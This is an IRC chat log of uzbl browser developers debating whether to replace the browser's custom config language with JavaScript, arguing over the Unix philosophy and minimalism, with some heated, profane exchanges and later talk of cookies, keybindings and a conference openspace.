05:14 < lazzareth> "Uzbl follows the UNIX philosophy - "Write programs that do one thing and do it well. Write programs to work together. Write programs to handle text streams, because that is a universal interface.""
05:14 < jrm8005> it displays web pages and listens to simple text commands.
05:15 < dxdx> js is a programming language, not a program, unix philosophy does not apply in that layer
05:15 < dxdx> (and how would you apply it there, anyway?)
05:15 < jrm8005> dxdx: unix philosophy of keeping things simple applies to the browser.
05:15 < jrm8005> js for a fucking config file is *not* simple.
05:16 < jrm8005> and it will add a bunch of overhead.
05:16 < dxdx> there is no overhead, how many times do we have to say that the js vm is already loaded?
05:16 < jrm8005> have you ever used awesome? The config file is Lua. It is overly verbose and breaks all the time
05:16 < jrm8005> there's *conceptual* overhead
05:16 < jrm8005> design overhead.
05:16 < dxdx> i use awesome, i like its config, it has always worked for me
05:16 < scj> oh, like designing our own little language doesn't have design overhead?
05:17 < jrm8005> scj: compared to js?
05:17 < scj> yes
05:17 < jrm8005> that was a rhetorical question.
05:17 < jrm8005> so what happens to the pipe now? Do we have to put js into the pipe?
05:17 < jrm8005> what if I don't want to learn js?
05:18 < jrm8005> I just want to do key=val like every other sane program and be done with it.
05:18 < scj> jrm8005: the actual syntax is just a minor detail
05:18 < jrm8005> what is the point of having config js, anyway?
05:18 < scj> wether it be "set foo_handler = spawn whatever.sh" or set("foo_handler",spawn("whatever"))
05:19 < dxdx> it can be foo_handler = spawn("whatever"), actually
05:19 < dxdx> jrm8005: removing a bunch of buggy and bulky code of our own minilanguage
05:20 < scj> and we'd get cool stuff for free. being able to serialize a uzbl instance state, for instance
05:20 < jrm8005> ....
05:20 < jrm8005> oh dear.
05:20 < jrm8005> ok, how many people here actually subscribe to the Unix philosophy?
05:23 < uranther> i subscribe to scj :)
05:23 < scj> I don't think you can really invoke the "this isn't the unix philosophy" on this
05:24 < jrm8005> scj: right, because ed has a configuration file written in lisp.
05:24 < jrm8005> oh wait, that's emacs, the epitome of a non-unix-style program
05:27 < scj> jrm8005: so to keep this "unix philosophy", we should cripple uzbl on purpose to force people to use external apps?
05:28 < scj> since the js part would be essentially free
05:28 < jrm8005> I fail to see how uzbl is ``crippled'' -- i.e., you're pulling that out of your ass
05:28 < jrm8005> and let's see, cookies, history, downloading, bookmarks, formfilling, tabs ... ALL done OUTSIDE the browser.
05:28 < jrm8005> so yes, I think that's the point.
05:29 < uranther> config has to be done by uzbl no matter how you look at it
05:29 < jrm8005> if you want a giant js/xml mutation of an OS/platform, I recommend firefox.
05:30 < jrm8005> uranther: that's no reason for letting people baloon the program with a bunch of useless crap from a config file. Not to mention having uglier syntax that makes no sense in a config file.
05:30 < jrm8005> it's not a js execution framework, it's a goddamn browser
05:30 < jrm8005> js is there because it has to be for the web.
05:31 < jrm8005> not because we have to go use it willy-nilly.
05:31 < uranther> people constantly ask for new features in uzbl's config language
05:31 < bct> defining a custom config format isn't exactly free either
05:31 < jrm8005> and people should be told `no'
05:31 < uranther> we're only hindering them at the moment
05:31 < uranther> jrm8005, so now you're contradicting yourself..
05:32 < uranther> people should have the freedom to config uzbl as they like
05:32 < uranther> that's not possible atm
05:32 < jrm8005> how am I contradicting myself?
05:32 < uranther> the unix philosophy implies the freedom to tweak
05:32 < uranther> because you can interface things
05:32 < jrm8005> through building up tools and talking in plain text.
05:32 < uranther> the config is just another interface
05:32 < jrm8005> you're missing the point.
05:33 < uranther> that happens to be handled by uzbl
05:33 < jrm8005> you're the kind of person that would add arguments to cat.
05:33 < jrm8005> that is NOT unix philosophy.
05:33 < uranther> you prefer your userland tools without options?
05:33 < jrm8005> cat should just cat files.
05:33 < jrm8005> it needs no options.
05:33 < jrm8005> ls should just list files. It needs a couple.
05:33 < jrm8005> the GNU version has dozens.
05:34 < jrm8005> and that's exactly the kind of conceptual bloat you want to add.
05:34 < scj> geez
05:34 < jrm8005> If you want it, whatever, but maintain a fork and I pray to $deity that it never gets merged.
05:35 < uranther> maybe we should strip "disable_scripts" and "disable_plugins" and let jrm8005 surf the unclean web
05:35 < jrm8005> uranther: you aren't getting my point at all.
05:35 < uranther> because it doesn't make any sense
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05:36 < uranther> you seem to argue for programs that literally do one thing
05:36 < uranther> not one thing "well"
05:36 < jrm8005> uzbl does it's one thing, and does it well.
05:37 < jrm8005> your point makes no sense.
05:37 < uranther> a js config would add to the wellness
05:37 < lazzareth> scj, Right now uzbl_tabbed can inherit options from a users uzbl config file, if that changed to js how could I easily load my config options without launching a uzbl instance and probing each variable though its socket.
05:37 < uranther> right now, it doesn't config very well
05:37 < jrm8005> no, it will turn uzbl into a fucking platform you myopic clod
05:37 < jrm8005> the point of uzbl is to *not* be a platform.
05:38 < lazzareth> jrm8005, Theres no need for hostility.
05:38 < uranther> i'm not going to let a debate turn to flaming
05:38 < uranther> so i'll just leave it at that..
05:38 < uranther> and get back to reading this RFC
05:39 < scj> lazzareth: how does the "inheretence" mechanism work?
05:41 < jrm8005> nevermind inheriting, how about modifying?
05:41 < jrm8005> now everything built on top of uzbl and anything that wants to talk to it needs to know js.
05:41 < lazzareth> http://gist.github.com/137497#LID225 loads the config file, finds all sets in the file using a regular expression, iterate over the found sets, check if key is in uzbl_tabbing's config dict, replace if it is.
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05:42 < lazzareth> Then I access the config throughout my app by referencing my config dict like confg['fifo_dir']
05:43 < lazzareth> Moving to js would completely obliterate my ability to parse the config without loading up a javascript vm
05:43 < scj> lazzareth: oh. in that case, you'd get even better ability, since Uzbl would be able to introspect it's current state
05:43 < lazzareth> scj, Keyword being "without having to open uzbl"
05:44 < jrm8005> scj: also, you then have to talk to uzbl over a fifo, which is going to be slower than reading a file. Also, you will need to know what to ask.
05:44 < jrm8005> and you should not need to know every possible thing to ask, nor ask everything possible to ask and get tons of no answers.
05:45 < jrm8005> i.e., without being able to snarf the config, it's a huge amount of overhead.
05:45 < jrm8005> so it's either that, or force everything that wants to be involved with uzbl to speak JS.
05:45 < scj> jrm8005: you still need to know what to ask
05:45 < jrm8005> scj: not if you just want to make a dictionary of the config file.
05:45 < jrm8005> you just need to know how to parse
05:46 < scj> look, the syntactic differences between what we currently have and what it would look like in js would be minimal
05:46 < jrm8005> not the point.
05:46 < scj> you wouldn't need to learn how to program js to config it
05:47 < scj> that was what you just complained about...?
05:47 < jrm8005> it's a minor issue, it's still there.
05:47 < jrm8005> the big one is turning uzbl into a platform
05:47 < scj> who said anything about turning it into a platform?
05:48 < jrm8005> by enabling people to do a bunch of stupid crap in js.
05:48 < jrm8005> and don't tell me it won't happen.
05:48 < scj> as long as we are able to easily communicate with external processes, you wouldn't need to touch the js
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05:49 < jrm8005> people will start packing all sorts of crap into that config file,  until half the functionality is done there instead of where it belongs.
05:50 < scj> so, in other words, we should cripple it to force people to use external processes
05:51 < jrm8005> oh my god, it's not fucking crippling it.
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05:51 < jrm8005> and the whole *point* is to use external programs
05:51 < jrm8005> have you read the webpage?
05:51 < jrm8005> have you looked at how the history, bookmarks, cookies, etc are handled?
05:51 < jrm8005> if you don't like external processes, USE A DIFFERENT BROWSER.
05:51 < scj> sure, I wrote the formfiller
05:52 < scj> I like interfacing external processes as much as the next guy, I just don't think it's a good idea to spend that much time and effort on writing our own language
05:53 < bct> even if uzbl moved to js config i would expect external processes to still be supported
05:53 < jrm8005> leave it as it is.
05:53 < jrm8005> bct: I thought the point was to actively use them, not just `support' them
05:53 < scj> ie, cripple
05:54 < jrm8005> scj: how is solidifying the config language crippling it?
05:54 < bct> there's a lot to be said for using somebody else's language spec
05:54 < jrm8005> bct: still, you're talking about bringing in an entire general purpose language for a special-purpose configuration language.
05:55 < jrm8005> which isn't really much of a language at all.
05:55 < bct> it's not being "brought in"
05:55 < scj> jrm8005: we are adding language constructs to it
05:55 < jrm8005> scj: why?
05:55 < scj> variable expansion and such
05:55 < jrm8005> why?
05:55 < scj> talk about user definable variables
05:56 < jrm8005> but for what purpose?
05:56 < scj> useability
05:56 < jrm8005> I can see setting the internal tunables, but what do we want variables in the config file for?
05:56 < jrm8005> usability to do what?
05:57 < bct> set cookie_handler = $handler_dir + '/cookie_handler.sh'
05:57 < bct> for example.
05:57 < scj> all the constructs we are adding is to better interface it with external apps and to be able to execute complex actions with simple keybindings
05:57 < scj> ie, make the browser usable
05:58 < jrm8005> bct: you've got the static dir that comes in from the browser itself. What's the logic in pulling that in? Just use a different XDG_.* for each instance
05:58 < jrm8005> scj: the complex actions thing worries me.
05:58 < scj> jrm8005: browsing is a complex beast
05:59 < jrm8005> scj: there's something to be said for attempting to make it simpler.
05:59 < bct> i don't have my handler scripts in an XDG directory.
05:59 < bct> another example that somebody wanted to do the other day:
05:59 < jrm8005> bct: it's an env var. Override it.
06:00 < bct> something like <n><command>, where <n> is a number that specifies how many times to run the command.
06:00 < bct> is that something that should be in the language?
06:00 < bct> is that something that you should have to hack uzbl.c to add?
06:00 < jrm8005> no.
06:01 < jrm8005> maybe for back and forward, but that's pretty trivial to add.
06:01 < jrm8005> you'd be surprised how easily you can do without it, though.
06:01 < bct> i don't use it, i suspect most people wouldn't use it.
06:01 < jrm8005> than just say no.
06:01 < bct> but it's a valid use case.
06:01 < jrm8005> so?
06:02 < jrm8005> minimalism means saying `no' to valid use cases.
06:02 < jrm8005> example: particular editor I use used to have a feature in the regexes, @, that would match \n
06:02 < jrm8005> which was good for getting multi-line matches.
06:02 < jrm8005> it was taken out.
06:03 < jrm8005> why? @ is another char to clobber and have to escape, the feature, while valid, was not often used, and you could just do (.|\n)
06:03 < bct> so it was just sugar, there was another way to do it.
06:03 < jrm8005> was it bad? not really. But at some point, you just have to say no if you claim to be minimalist/unixy
06:03 < bct> not the same situation at all.
06:03 < jrm8005> yes it is.
06:04 < jrm8005> run back a couple times.
06:04 < jrm8005> or, make a script that talks to the FIFO
06:05 < jrm8005> you do see how a js config language is the epitome of `just say `no'', right?
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06:05 < bct> ok, i guess i haven't been clear - it's not these specific cases that i'm talking about
06:05 < scj> not really
06:05 < dxdx> i'd say no to a builtin parser for a pseudolanguage
06:05 < bct> i'm saying that we don't really know what we *need* in the config language yet.
06:06 < jrm8005> bct: what any config language needs, the tunables of the application and an ability to interface with its commands.
06:06 < bct> uzbl is still very immature and there are a lot of use cases that haven't been encountered.
06:06 < jrm8005> that's all there
06:06 < dxdx> lazzareth: well, reading that static file isn't right, the config can also be changed on runtime
06:06 < jrm8005> bct: again, if it adheres to the Unix philosophy, no matter how many `valid use cases' come around, the majority of them should be turned down
06:07 < dxdx> lazzareth: it was previously encouraged to do "uzbl < config"
06:07 < jrm8005> dxdx: I like that.
06:07 < bct> minimalism and the unix philosophy are more than just "we don't do that".
06:07 < jrm8005> I'm not saying say no to everything.
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06:08 < jrm8005> but like the [n][command] thing, if 2 people might use it, why add the overhead?
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06:08 < scj> in this particular case, the minimalist approach would be to use the vm that we already got running
06:08 < jrm8005> scj: which will enable people to creep bloat in though the config.
06:08 < scj> jrm8005: that's up to the user
06:08 < bct> if it's only in their config who cares?
06:08 < jrm8005> I don't trust the maintainers not to
06:09 < jrm8005> I'm afraid of seeing everyone go, well, why bother with the bookmark script, uzbl now defaults to a JS one in the config.
06:09 < jrm8005> and the old one will be unmaintained, so what will be the point of using uzbl if you're after iminalism and separation of responsibilities?
06:10 < jrm8005> I mean, maybe it would never ever happen, but I don't trust anyone by default.
06:10 < scj> ie, we need to cripple uzbl to force the use of external processes?
06:10 < jrm8005> jesus christ, again, it's not crippling it.
06:10 < scj> that was the gist of your argument
06:10 < jrm8005> scj: prove that uzbl is crippled
06:10 < scj> haha
06:11 < jrm8005> ok, laugh. You can't, then? fine. your point is irrelevant.
06:11 < bct> you need to smoke a joint and chill out, jrm.
06:11 < jrm8005> (an again, external processes is the point)
06:11 < dxdx> please be polite :D
06:11 < jrm8005> look, if someone wants to argue something, they should prove their point.
06:12 < jrm8005> shouting ``Cripple!'' is not proving a point.
06:12 < jrm8005> it's a strawman.
06:12 < bct> at this point we're only talking about hypotheticals anyways
06:12 < scj> it's not really a strawman when that was your actual argument
06:12 < scj> you were worried that using JS internally would make people lazy and just use JS all the time
06:13 < jrm8005> until you can actually show how uzbl would be crippled, you have no valid argument.
06:13 < bct> nobody's implemented a javascript config and if someone does there will be long discussions about whether to merge it to the official repo.
06:13 < scj> dxdx: have you gotten started on it?
06:13 < jrm8005> well, hopefully he doesn't listen to platform-people and sticks to the minimalist
06:14 < dxdx> scj: not yet, i was awaiting opinions, but this just motivated me to start :P
06:14 < scj> \o/
06:14 < dxdx> just to prove that js can be exactly the same as the current thing, just simpler
06:14 < bct> you need to use less vague terms jrm8005.
06:14 < bct> cmd.exe is minimalist
06:14 < bct> it's also useless.
06:15 < jrm8005> would ls be useless without the 28,000 options the GNU flavor has?
06:15 < scj> dxdx: yeah, the more I think of it, the more sense it makes
06:15 < jrm8005> no.
06:15 < bct> useless? no. less useful? quite possibly.
06:15 < jrm8005> bct: tear out the sorting options.
06:15 < jrm8005> is it useless? You have a sort program.
06:16 < jrm8005> how many options to ls do you use?
06:16 < dxdx> i've seen shell scripts that parse the output of ls with some obscure commands
06:16 < jrm8005> dxdx: and that's how it should be done.
06:16 < dxdx> s/commands/params/
06:17 < dxdx> typo
06:17 < bct> look, i'm sympathetic
06:17 < jrm8005> you mean for long listings or something?
06:17 < bct> man ls says:
06:17 < bct>        -B, --ignore-backups
06:17 < bct>               do not list implied entries ending with ~
06:17 < bct> if i wrote ls, it wouldn't have that option.
06:18 < jrm8005> dlmnpqrstuFQ
06:18 < dxdx> jrm8005: output formatting, exclusion, sorting by size
06:18 < jrm8005> those are the only options my ls supports.
06:18 < jrm8005> dxdx: those shoudl be done with pipelines.
06:18 < bct> but on the other hand, -h.
06:19 < dxdx> jrm8005: sure, because everybody loves to parse the output of ls -l
06:19 < bct> it's not strictly necessary, but i probably wouldn't go to the effort to write a pipeline that converts file sizes to a human-readable format.
06:19 < jrm8005> so that's a good one to keep
06:20 < scj> ls and a web browser are apples and oranges
06:20 < jrm8005> dxdx: it's some pretty damn simply awk
06:20 < jrm8005> scj: writing a Unix-philosophy browser seems to indicate an attempt to prove otherwise.
06:20 < bct> fair enough, but i guarantee you there's somebody else on freenode that thinks it's not worth keeping.
06:20 < dxdx> but what are you complaining? that it adds 50kb to the binary?
06:20 < dxdx> that it takes 0.001µs more to start?
06:20 < bct> "minimalism" doesn't mean much.
06:21 < jrm8005> dxdx: that it's conceptual/design overhead that reduces generality
06:21 < jrm8005> look, whatever, it's ridiculously late here.
06:21 < dxdx> jrm8005: you are free not to use the extra parameters and get back your generality..
06:22 < jrm8005> that's not the point.
06:22 < jrm8005> it's all there in the code
06:22 < dxdx> ?
06:22 < jrm8005> all written by someone and not usable outside the program
06:22 < dxdx> what do you mean?
06:22 < jrm8005> and contibutes to nonportability of scripts.
06:22 < jrm8005> I'm done.
06:23 < jrm8005> I hope you all don't bollocks this thing up.
06:23 < scj> things will be just as they are, except better
06:23 < bct> honestly jrm8005, i share your concerns.
06:23 < jrm8005> I doubt that will be true after you let people hack at it for 6 months.
06:24 < bct> i just think it's a bit more complex than you're presenting it.
06:24 < jrm8005> bct: are you going to do anything about them?
06:24 < bct> i'm going to wait and see, and argue my opinions where appropriate.
06:24 < jrm8005> I see a js config turning uzbl into a firefox. Everything handled in some js extension that runs like a dog.
06:24 < dxdx> i don't mean to troll, but that is the dwm philiosophy. and the first thing we had here was people complaining that they can't have a different layout to use uzbl, something that is quite basic for every other tiling wm
06:24 < bct> i'm just some guy on irc, i don't have a lot of pull :)
06:25 < jrm8005> dxdx: and those people were told to stfu, which is good.
06:26 < dxdx> jrm8005: well, no, there was a patch, but the point is that dwm doesn't want to apply because extra features suck
06:26 < dxdx> being extremely minimalist is stupid
06:26 < dxdx> uzbl is usable, not minimalist
06:27 < scj> the unix philosophy is all about writing what you need in C and then use sh to glue it together
06:27 < scj> we'd just use js instead
06:27 < scj> internally
06:27 < jrm8005> scj: I'm saying that once you open that door, the whole thing will get cocked up
06:28 < bct> jrm8005, it may be that a fork is inevitable.
06:28 < bct> there are definitely different camps involved here.
06:28 < dxdx> jrm8005: then you should hate me for trying to implement greasemonkey in the commit handler
06:28 < jrm8005> bct: I really would not mind a fork.
06:28 < lazzareth> "<dxdx> lazzareth: well, reading that static file isn't right, the config can also be changed on runtime" I know and I do watch for uri changes obviously. I've just got to find some time to implement live changes.
06:28 < bct> there are a lot of people in this channel that want the dwm of web browsers
06:29 < jrm8005> I think you could maintain them separately with good code sharing
06:29 < bct> and there are a lot of people that want firefox without the memory consumption.
06:29 < jrm8005> well, a fork would be able to cater to both.
06:29 < lazzareth> jrm8005, Eeek!
06:29 < jrm8005> I know nothing of dwm, but I want a good Unix browser.
06:29 < bct> i don't think so, i think they're mutually exclusive.
06:29 < dxdx> i want a browser that can be configured to be both
06:30 < jrm8005> dxdx: I doubt that's as easy as it sounds.
06:30 < dxdx> but that won't ever be as much as firefox, of course
06:30 < scj> I want a good browser
06:30 < jrm8005> scj: I want a Unix browser.
06:30 < dxdx> scj, jrm8005: those are pretty lazy descriptions
06:30 < bct> dxdx, agreed.
06:30 < jrm8005> dxdx: yes, but they show a flavor of the difference.
06:31 < bct> "Unix" is almost as vague as "good".
06:31 < scj> dxdx: and quite purposefully so
06:31 < dxdx> anyway, i'll implement js in my branch, but i'll keep it as simple as the current config
06:32 < dxdx> maybe adding support for more than one callback per handler
06:32 < jrm8005> a good browser means (scj, correct me if I'm wrong): a smooth UI, extensibility from within, inbuilt programmability, complex features
06:32 < dxdx> good is subjective
06:32 < jrm8005> and I would say a Unix browser means something that displays web pages, follows links.
06:33 < jrm8005> dxdx: I mean scj's personal definition of good
06:33 < scj> my definition of good is easily customizable and quick to load
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06:34 < dxdx> jrm8005: so links -g is a good unix browser? :P
06:34 < scj> uzbl + js wouldn't be some kind of XPCOM behemoth
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06:35 < jrm8005> no, but it's hardly ``very bare bones'', as the Readme says Uzbl aims to be.
06:35 < jrm8005> you're really, honestly talking about an emacs here.
06:35 < dxdx> not really
06:35 < dxdx> js in the config is about changing the parser
06:35 < dxdx> no more than that
06:36 < jrm8005> dxdx: if you get all the features of js, then it is more than that.
06:36 < dxdx> handlers are already there, you might be able to build an emacs with that
06:36 < jrm8005> that's unfortunate.
06:37 < dxdx> set commit_handler = script something.js, just like you can spawn any other shell script
06:37 < bct> jrm8005, what's your ideal text editor? nano?
06:37 < uranther> cat
06:37 < scj> cat + sed
06:37 < dxdx> ed
06:37 < bct> :)
06:38 < bct> vim has (most of?) a programming language.
06:38 < uranther> http://xkcd.com/378/
06:38 < bct> it's only used by vim.
06:38 < dxdx> then you can build emacs with vimscript (?)
06:38 < bct> i like vim, but i think that's dumb.
06:38 < jrm8005> I don't use vim
06:38 < jrm8005> I use sam
06:39 < jrm8005> ed on occasion
06:39 < jrm8005> and vim if I really have no alternative.
06:39 < dxdx> oh, so you are extremist
06:39 < jrm8005> I wouldn't say that.
06:39 < jrm8005> I'm quite minimalist.
06:39 < dxdx> extremely-minimalist
06:40 < jrm8005> are you familiar with sam?
06:40 < jrm8005> it actually supports far richer regexes than any unix tool
06:40 < dxdx> can't say anything acutally, it's not even in AUR
06:40 < scj> I don't think uzbl should be able to display the page. there are already image viewers
06:41 < jrm8005> scj: that would make sense if the web were nothing but image files.
06:41 < jrm8005> so your feeble attempt at a point failed again.
06:41 < dxdx> (he wasn't serious)
06:41 < scj> doh :v
06:42 < dxdx> returning to the topic, jrm8005: if i get you right, you don't want the uzbl config file to become like the awesome one?
06:42 < jrm8005> yes.
06:42 < bct> hmm, jrm is getting ganged up on.
06:42 < bct> i'm switching sides now.
06:42 < jrm8005> bct, if it's not because I've convinced you of anything, I'll just go it alone.
06:43 < bct> jrm8005, i'm really not on either side. i just didn't like the way you were arguing earlier.
06:43 < bct> i'm not particularly happy with uzbl's current config, and i'm interested in the possibilities that doing it in js presents.
06:43 < jrm8005> bct: I'm like Linux. I like `provoking' discussion in every sense of the word.
06:44 < dxdx> jrm8005: as i said i'll try to keep it as simple as the current one, however with handlers you could say you can get the same functionality as lua
06:44 < bct> i'm also interested in alternatives. i really like wmii's configuration model, for example.
06:44 < jrm8005> dxdx: the handlers scare me.
06:44 < jrm8005> I solely use them for changing the status
06:44 < dxdx> jrm8005: even the download/cookie handlers?
06:45 < jrm8005> oh, and those.
06:45 < dxdx> which are one of the main "features"
06:45 < dxdx> what about binds? they also allow to run arbitrary uzbl commands
06:45 < uranther> i'm taking the developer's pov with this argument.. a JS config would be easier to maintain
06:45 < jrm8005> dxdx: I would really like to see static binds, but I know that will never happen.
06:46 < jrm8005> I mean, if you can limit what the JS can do, I'd be less bitchy.
06:46 < bct> uranther, i think that's a big point in favour of js.
06:46 < dxdx> jrm8005: i don't really see what do we win by limiting features like that
06:46 < bct> eww, adding code to limit what can be done in the config is the complete opposite of minimalism.
06:47 < scj> jrm8005: ie, crippling?
06:47 < uranther> yup
06:47 < dxdx> adding a bunch of static binds would add up ~500 lines of code just to remove features
06:47 < bct> the fundamental problem is that a. there isn't really a unified configuration model and b. we don't really know what such a model needs.
06:48 < jrm8005> allright. whatever. you allll win
06:48 < jrm8005> goodnight
06:48 < dxdx> we do not win that way, fyi :P
06:48 < bct> don't be that way we're all happy and friendly here :)
06:49 < scj> i do! winrar is me \o/
06:49 < dxdx> it's not about winning anything, anyway
06:49 < dxdx> oh shi-, gtg, brb
06:49 < jrick> jrm8005: http://julien.danjou.info/blog/index.php/post/2009/04/15/Taking-the-other-direction <-- this explains what the problems are with flat configurations, although the problems are not exactly the same as in uzbl
06:50 < jrm8005> I'm not a fan of Julien.
06:50 < jrm8005> he's usually wrong.
06:50 < jrick> well, I stopped using his wm, but his ideas are still correct.
06:51 < jrick> lua makes a much better config (for a wm at least) than a flat config
06:52 < bct> honestly, even if dieterbe goes crazy and makes the default handlers use XUL via visualbasic, i think we have more than enough interesting people here to keep a wide variety of alternate handlers.
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06:53 < uranther> !kb jrm8005
06:53 < uzblbot> uranther: Error: "kb" is not a valid command.
06:53 < uranther> oh
06:53  * jrick casts a vote for a js config
06:53 < jrick> as if I had voting power
06:53 < uranther> i'm not sure democratic uzbl's architecture is :P but yes i'll vote
06:54  * bct casts a vote for somebody implementing a js config and then everybody taking a look and discussing it like rational adults.
06:54 < jrick> good idea
06:54 < uranther> agreed
06:54 < uranther> it sounds like it would not be too crazy complicated either
06:54 < uranther> and we could remove quite a few functions from uzbl
06:55 < uranther> C functions, not functionality functions :)
06:59 < scj> bct: dxdx said he'd take a crack at it
07:02 < bct> i feel like that calvin & hobbes where calvin can see both sides of everything.
07:03 < bct> i don't even think uzbl_tabbed should be included in the main repo, why was i arguing against jrm8005?
07:05 < lazzareth> bct, for all intents and purposes its just a script used to enhance the user experience (albeit a little larger than normal sample scripts). As long as none of it is implemented in uzbl.c I dont see your problem?
07:06 < bct> not every script can (or should) be part of the official distribution.
07:06 < uranther> uzbl doesn't really have an official distribution yet
07:07 < lazzareth> .. Even if its in the examples folder
07:07 < uranther> maybe when a beta comes out or something...
07:07 < lazzareth> For.. you know.. examples.
07:07 < scj> when the time comes, it could be broken up to uzbl-contrib
07:07 < bct> there are lots of potential examples, not all can (or should) be included.
07:07 < bct> how many different implementations of each handler should be included, for example?
07:08 < uranther> for know they are ok since it allows for people to start using uzbl right away
07:08 < uranther> but i think the line should be drawn somewhere
07:08 < uranther> know=now*
07:08 < bct> (i should have added a :P after my earlier comment, i really don't care one way or another what example scripts are included)
07:08 < lazzareth> :)
07:09 < uranther> well it's up to dieterbe how many he wants to maintain
07:09 < uranther> heh
07:09 < ruskie> good morrow all
07:09 < scj> well, there aren't any lines drawn at all, and I don't see the need for it. not until it's time for the first actual release, at least
07:11 < uranther> well yea that's what i'm saying
07:13 < uranther> it's late i'm off to bed.. gnite
07:13 < ruskie> nyx
07:16  * ruskie confusedly looks at the backlog and sees JS config mentioned again
07:25 < bct> i still say we should have an XML configuration
07:25 < bct> and use XSLT to script uzbl.
07:27 < bct> (that was a joke, just in case anybody thought i was serious)
07:31 < lazzareth> Phew, bct I'm glad you just said that.
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07:34 < bct> that would be silly
07:34 < bct> the *real* way it should be done is via a java applet.
07:34 < bct> or possibly flash.
07:36 < scj> yes, flash is the future
07:40 < ruskie> rofl
07:40 < ruskie> nice baiting
07:41 < ruskie> glad I'm not the only one that was arguing against a js config
07:41 < ruskie> anyway after reading all that backlog... that was nasty
07:42 < ruskie> s/nasty/tirring
07:53 < scj> ecmascript is, as far as languages go, actually pretty cool
07:55 < ruskie> would it be possible to have the config look more or less unchanged as it is now?
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07:57 < lazzareth> Is it possible to extend the internal config out further like write a plugin for a python vm to handle configuration or at least setup some kind of protocol where by you can interface with the database in any which way you like from any language supporting spawns, callbacks, etc
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07:58 < lazzareth> That way you can use javascript/python/haskell/ruby interchangeably if people write uzbl-config modules for each
07:58 < lazzareth> Similarly to how Deluge (the torrent client) works.
07:59 < scj> ruskie: yes, a js config could be more or less identical
07:59 < ruskie> and I take it a script to convert would be provided?
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07:59 < scj> probably
07:59 < scj> or possibly, at least
08:00 < lazzareth> You can go into any python interpreter and type "import deluge" and it connects to the currently running deluge so you can configure it.
08:00 < scj> lazzareth: you can already do that, all that is missing is some pythonic abstractions
08:00 < ruskie> hmm I wish uzbl command mode accepted primary paste...
08:02 < lazzareth> scj, I can edit to my liking any variable I like from inside python currently but pointing a variable to a python callback is the tricky one. I guess I could just assign a callback function a hash and get uzbl to send me that hash back whenever it wants executing.
08:04 < lazzareth> This sounds like a worthy undertaking.
08:04 < ruskie> gah this muscle memory won't go away... I keep hitting alt+, and alt+. to switch tabs which of course fails to work
08:05 < lazzareth> ruskie, Familiar with g< & g>
08:05 < lazzareth> ?
08:05 < lazzareth> or gi{tab-num} :)
08:05 < ruskie> I prfer alt+, and alt+.
08:05 < lazzareth> I find it a lot easier to navigate in uzbl now instead of firefox
08:06 < ruskie> same as I perefer ctrl+i for location entry
08:06 < lazzareth> ruskie, Well it will have to wait until uzbl.c supports it with the current version of uzbl_tabbed
08:06 < ruskie> I know :)
08:07 < ruskie> just fnid it annoynig that I keep hitting alt+, or alt+. all the time
08:07 < scj> yeah, muscle memory is annoying sometimes. I keep hitting space to go page down
08:08 < lazzareth> Agreed, I keep fapping instead of working.
08:09 < lazzareth> Wait, does that count? :P
08:09 < ruskie> but I won't be changing this particular muscle memory
08:09 < ruskie> since I use the same alt+, and alt+. in vim ;)
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08:59 < Dieterbe> morning bitchizzz
08:59 < ruskie> lo
09:00 < ruskie> PUT amch.questionmarket.com /adsc/d604341/8/621121/adscout.php ES=604341-eI{$L-1; expires=Sun, 22-Aug-2010 22:51:50 GMT; path=/; domain=.questionmarket.com" <-- if I get this for a cookie which part of thi is actually the cookie? everything or only stuff after the stuff.php ?
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09:05 < scj> everything
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09:06  * dxdx is back
09:06 < dxdx> Dieterbe: holizz
09:07 < Dieterbe> bob_f: if you want me to merge things, either put it on github or mail to the ML
09:10 < ruskie> scj, hmm then why does it send a domain=.domain.com for something one already has i.e. sub.domain.com ???
09:11 < holizz> Morning.
09:11 < dxdx> ruskie: @"primary paste" try insert and shift-insert
09:11 < holizz> I'm doing an openspace on uzbl in... 1hour20minutes
09:11 < dxdx> openspace?
09:14 < holizz> It's like a write your topic on the whiteboard sort of un-conference-like track that you get at EuroPython.
09:14 < holizz> Unconference = write something on a whiteboard, people turn up. You all have a little chat.
09:15 < Dieterbe> jrm8005> dude, it's supposed to be minimalist <-- wrong. uzbl is about implementing the unix philosophy. not about being minimalist per se (scj)
09:15 < dxdx> sounds awesome
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09:15 < Dieterbe> good luck with it holizz :)
09:15 < dxdx> Dieterbe: our problem was that "unix philosophy" is a vague definition :P
09:16 < holizz> If I find that lots of people are interested I might suggest having a little sprint. Any ideas of what to implement more interestig than fix bugs?
09:16 < lazzareth> holizz, Awesome :D, all set for the big event?
09:17 < lazzareth> holizz, Native python config interface like deluge :P
09:17 < holizz> lazzareth: It's not like a presentation or anything. I'm just going to demonstrate how cool uzbl is, and we can have a chat.
09:17 < dxdx> from my todo: javascript config parser, greasemonkey + xmlhttprequest, g_spawn_async_with_pipes for cookies or some other kind of bidirectional communication with a daemon, etc
09:18 < holizz> lazzareth: Yeah, a Python config would be good. But I think JavaScript config would make more sense.
09:19 < dxdx> a simpler one, a new window handler that integrates with uzbl_tabbed
09:19 < holizz> dxdx: I mentioned uzbl to somebody last night and the first thing he said was that we should be using daemons for cookies and history and such.
09:20 < dxdx> holizz: yeah, daemons or persistent processes with bidirectional pipes, it's the same
09:22 < lazzareth> dxdx, Or the ability to add context aware menu items the same way we add binds. E.g. "click {middle|right|left} {image|link|imglink} = command" I.e. "click middle link = \"echo 'new @uri' > uzbl_tabbed_fifo\""
09:23 < Dieterbe> dxdx / scj i just glanced over the config discussion and would like to say: 1) code/program reuse is very important.  not reinventing the wheel is important, 2) Js/lua may be a tad overcomplicated. There doesn't seem to be a really lightweight language yet.  This is rob|_'s area of work so imho he may take the lead here.  i think we concluded last time to write our own little language (much simpler then js/lua/...) but in the long run, we want to make it a library so it can be reused by other applications
09:23 < lazzareth> dxdx, and the Menu item title
09:24 < Dieterbe> holizz: will your talk be recorded?
09:24 < Dieterbe> holizz: would be cool to put it on our website
09:25 < lazzareth> So "click {middle|left|right} {image|link|imglink} {menu item title} = command"
09:25 < scj> Dieterbe: and I predict that our language will get more and more constructs, to the point where it would've been easier to just gone with js to begin with
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09:25 < holizz> Dieterbe: It's not a talk. I'll be demoing uzbl though and explaining a little about how it works. And no, probably won't be recorded.
09:26 < dxdx> lazzareth: (i'm giving ideas for holizz's sprint)
09:26 < holizz> Dieterbe: Although if the openspace goes well I could _maybe_ do a lightening talk later on today.
09:26 < Dieterbe> scj: that's something i'm also a bit afraid of.  but i think rob|_ has a pretty good idea where he wants to go with it so I trust that.  No matter how it turns out, it will at least be an interesting experience
